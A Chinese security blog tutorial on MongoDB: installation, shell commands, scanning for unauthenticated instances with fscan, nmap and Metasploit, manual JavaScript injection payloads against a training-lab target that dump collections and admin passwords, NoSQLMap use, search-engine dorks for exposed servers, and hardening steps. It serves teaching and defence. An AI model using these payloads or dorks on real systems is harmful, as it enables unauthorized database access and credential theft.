查看原文
其他

原创 | 数据库-MongoDB漏洞利用姿势

ch4nge SecIN技术平台 2022-06-18

点击上方蓝字 关注我吧


前言

本篇文章记录了mongo数据库的一次漏洞复现,从安装到漏洞复习,然后是实操mongo数据库的SQL手工注入,未授权和SQL注入危害还是蛮大的,由于mongo数据库安全性较高,使用数量极高,所以学习mongo数据库的安全知识还是很有必要的。文章有不对的地方欢迎各位师傅指出~


简介

MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

sqlmap不支持这个json格式的数据库注入,但还有其他工具可以,后面介绍嗷

MongoDB的一些主要特性:

基于文档 高性能 高可用性 简单的可扩展性 没有复杂的联接

数据格式

{name: "ch4nge",age: "10",status: "A",groups: ["news", "sports"]}

默认端口27017、27018、27019、28017



安装

1.下载

4.4.10版本

https://www.mongodb.com/try/download/community

zip和msi选择区别

1. msi安装的时候,一路下一步,方便快捷,只建议MongoDB4.0及以上版本采用msi方式安装,因为MongoDB4.x版本对msi安装方式进行了优化,随着提示就可以完成配置,但3.x和更低的版本则仍旧需要在安装完毕后,手动做配置,所以低版本不推荐msi方式。2.zip方式,解压即安装,可以将其安装到任意目录,后续都可以手动进行配置,比较灵活,推荐采用这种方式进行安装。

2.windows安装

双击开始安装

选择自定义Custom安装选项

我这里设置安装路径为C盘根目录

默认下一步即可

勾选的话会安装一个mongodb管理工具,安装速度慢好多,也可以不勾选,后面需要的话再去下载安装

https://www.mongodb.com/try/download/compass

让子弹飞一会

安装完成

图形化管理工具

MongoDBCompass

连接本地数据库

查看数据库

3.windows配置环境

(1)添加环境变量

C:\MongoDB\bin

测试是否配置成功,在cmd下直接输入mongo -version即可判断

(2)修改配置文件

配置允许远程连接mongodb,bindip设置为0.0.0.0,重启mongo服务生效

windows:mongod.cfg

linux:mongod.conf

注意注意:千万不要多写空格少写空格啥的,不然报错。比如我把bindIp冒号后面的空格去掉

(3)将mongodb服务添加到windows服务

如果你的服务列表没有这个的话按照此步骤添加,我是用msi文件安装的,服务里面已经有了

这一步的目的是将来在终端中通过net来管理MongoDB。
以管理员的身份打开终端,输入

mongod --config "C:\MongoDB\bin\mongod.cfg" --install --serviceName "mongodb"

查看服务属性

服务启动关闭的命令

net stop mongodbnet start mongodb

远程连接测试

超级弱口令扫它(记得关掉你的windows防火墙嗷)

4.kali2021.2安装mongo

(1)导入mongoDB密钥

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -

如果收到指示gnupg未安装的错误,则安装gnupg

sudo apt-get install gnupg

安装完成后重新导入密钥

(2)创建文件

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

(3)更新软件列表

下载速度慢的话可以换国内apt源,怎么换不说了,百度一堆

sudo apt-get update

(4)安装mongoDB

sudo apt-get install -y mongodb-org

(5)mongoDB配置

# 启动MongoDB服务systemctl start mongod# 查看服务状态systemctl status mongod# 停止MongoDB服务systemctl stop mongod# 重启MongoDB服务systemctl restart mongod

设置允许远程连接mongoDB

sudo vi /etc/mongod.conf# 修改bindIP为0.0.0.0bindIp: 0.0.0.0

设置之后需要重启mongodb服务

systemctl restart mongod

5.Kali卸载mongo

我还要用,先不卸载了

# 删除软件包sudo apt-get purge mongodb-org*# 可以通过下面命令来查看这些软件包文件,也可以检测是否删除完成locate monodb-org# 删除数据目录sudo rm -r /var/log/mongodbsudo rm -r /var/lib/mongodb



MongoDB常用命令操作


1.进入MongoDB命令行交互模式

widows
配置环境变量之后在命令行输入mongo
linux(kali)安装后自动配了环境变量,直接输mongo就可进入
由于自带交互式Javascript shell,可以直接在Mongo shell里进行一些简单的计算操作。

MongoDB可以有多个数据库每个数据库都含有一个或多个集合“collections”每个集合都含有一个或多个文档“documents”

2.新增用户用来远程登录

db.createUser({user:"ch4nge",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})


对用户ch4nge授权

db.auth("ch4nge","123456")

修改用户权限

db.updateUser("root", {roles:[{role:"readWriteAnyDatabase", db:"admin"}] })

修改用户密码

db.changeUserPassword(“username","newPasswd")

删除用户

db.changeUserPassword(“username","newPasswd")

3.远程登录

# 未授权mongo 10.11.2.222:27017/admin# 有授权mongo -u ch4nge -p 123456 localhost:27017/adminmongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin

4.库信息增删改查

// 创建数据库use ch4nge

// 查看当前数据库db//或者db.getName();

// 检查数据库列表show dbs

// 将数据插入集合//这个是把一个数据插入到data集合中。db.data.insert({"user":"test1"})

// 查询数据//查询data集合中的全部文档数据。db.data.find()

// 查询数据时写入条件//查询用户名user为test1的数据db.data.find({"user":"test1"})

// 删除数据//remove()方法db.data.remove({"user":"test1"})

// 删除集合//drop()方法,这会删除所有的表数据,存在一个data集合,再查一下data集合,已经没了db.data.drop()

// 删除目前使用的数据库db.dropDatabase()

//查看当前数据库状态db.stats();

//当前db版本db.version();

//查看当前db的链接机器地址db.getMongo();

//显示当前所有用户db.system.users.find();




MongoDB连接管理工具

1.MongoDB Compass

下载地址
https://www.mongodb.com/download-center/compass

下载msi文件默认安装即可

2.navicat

这个要付费,可以试用14天,最好网上自己找pj版本吧

https://www.navicat.com.cn/download/navicat-premium

3.Robo 3T

下载地址

https://robomongo.org/download

安装,双击默认就会好

连接数据库



漏洞复现-未授权访问

1.漏洞原理

MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0(bindIp: 0.0.0.0),则可远程未授权访问数据库。

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

2.漏洞探测-fscan扫描

自带小字典可探测数据库弱口令、未授权、web服务等,功能强大,常用于内网,这里来用也好使

可指定ip范围,一次指定多个ip地址,用于批量探测

https://github.com/shadow1ng/fscan

命令

fscan.exe -h 10.0.1.6 -p 21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017

3.漏洞探测-超级弱口令

可批量扫描ip

4.漏洞探测-nmap

nmap -p 27017 --script mongodb-info <ip>

5.漏洞探测-msf扫描

先搜索一下模块

search mongodb

使用

auxiliary/scanner/mongodb/mongodb_login

use auxiliary/scanner/mongodb/mongodb_loginset RHOSTS 10.0.1.6run

可以指定ip的文件,批量检测



漏洞复现-SQL注入

1.漏洞原理

2.靶场环境

墨者学院SQL手工注入漏洞测试(MongoDB数据库)

https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

说明

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

3.访问靶场

http://219.153.49.228:48076/

点击通告,进入新页面

漏洞点在于id

4.注入参数检测

单引号显示空

源代码中

$query="var data = db.notice.findOne({'id' : '$id'}); return data;";

查询的sql语句是


db.notice.findOne({'id' : '$id'});

我们尝试闭合查询

?id=1'}); return({title:'1//代入结果如下,返回1,data内容就是1db.notice.findOne({'id' : '1'}); return({title:'1'});//query最后返回data,所以网页显示内容应该是1

5.查数据库

?id=1'}); return ({title:tojson(db),content:'1// 加content:'1是为了闭合后面的'});db.notice.findOne({'id' : '1'}); return ({title:tojson(db),content:'1'});

6.查表

?id=1'}); return({title:db.getCollectionNames(),content:'1

因为db.getCollectionNames()返回结果是arry数组,需要将数组转换为字符串,得到表名

?id=1'}); return({title:tojson(db.getCollectionNames()),content:'1

7.查数据

?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1

8.获取KEY

上面查出来的密码md5解密结果是

dsansda

登陆后台获得key

http://219.153.49.228:48076/mozhe/dsansda

现在登不上了

题目应该没问题,查其他的表数据发现还有一个密码,原来还给了一个假表!!!

?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1

解出来密码是918731,登录成功

提交以解决实验



NoSQLMap工具介绍

mongodb有一个跑注入的工具NOSQLMAP

(1)安装

git clone https://github.com/codingo/NoSQLMap.gitcd NoSQLMappython setup.py install

(2)启动

python nosqlmap.py

1 设置选项2 NoSQL数据库访问攻击3 NoSQL Web应用程序攻击4 扫描匿名MongoDB访问5 Change平台(目前:MongoDB) x-Exit



搜索引擎查找

shodan&&fofa

product:"MongoDB"

zoomeye

service:"mongodb"



未授权修复

服务仅对本地开放

1.设置配置文件

绑定在本地端口

vi /etc/mongod.confbindIp = 127.0.0.1# 重启服务生效systemctl restart mongod

限制访问源ip

仅对内网服务器开放mongodb服务。Linux防火墙设置如下,windos同理

# 允许外部应用访问MongoDB默认服务端口27017iptables -A INPUT -s <ip-address> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT# 允许MongoDB外出流量到达外部应用iptables -A OUTPUT -d <ip-address> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT



启动登录认证功能

此方式在windows进行演示操作,Linux一样可以

MonaoDB 3.0及以上版本启动时添加--auth参数开启认证访问,此时若数据库中无用户,本地登录则无权限进行任何操作,因此需要先以无认证的方式启动服务并创建系统用户管理员账号。

1.以无访问认证的方式启动MongoDB

路径一定要存在

mongod --dbpath C:\Windows\Temp\test

2.未开启认证的环境下,登录到数据库

mongo 127.0.0.1:27017/admin

3.创建系统用户管理员

创建一个用户名字为myUserAdmin,密码为Passw0rd的系统用户管理员账号。

注意:3.0之前版本使用db.addUser方法创建用户。

//切换到admin数据库use admin

//创建用户db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})//创建成功后提示db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})Successfully added user: { "user" : "myUserAdmin", "roles" : [ { "role" : "userAdminAnyDatabase", "db" : "admin" } ]}

4.开启认证模式

在配置文件中添加以下内容

注意:第一行顶格写,第二行前面两个空格

security: authorization: enabled

5.重启服务生效

net stop mongodbnet start mongodb

6.连接时认证

开启访问认证启动时添加--auth参数,使用系统用户管理员账号登录

mongo 127.0.0.1:27017/admin -u "myUserAdmin" -p "Passw0rd"

7.先连接后认证

在连接MongoDB时不指定认证信息,连接成功后通过db.auth()方法进行认证:

mongo 127.0.0.1:27017/admindb.auth("myUserAdmin","Passw0rd")



总结

新版的mongoDB数据库还没有爆出RCE或者getshell的漏洞,相对是安全很多的,再加上sql注入自动化工具很少,后端设置严格的过滤条件还是很难手注的。复现整个流程下来并不难,撸起袖子加油干!



参考

MongoDB数据库评估:
https://doge-dog.github.io/2017/12/18/mongodb-attack-detail/
未授权访问:
https://www.yuque.com/cheng-4ueio/tow7i5/cgwuq7
未授权漏洞修复:
https://cloud.tencent.com/developer/article/1727227
脚本批量探测未授权:
https://www.zhihuifly.com/t/topic/3031


相关推荐




原创 | 永恒之蓝漏洞分析

原创 | 浅谈Log4j2在Springboot的检测

原创 | 纸上得来终觉浅—XXE大杂烩

你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存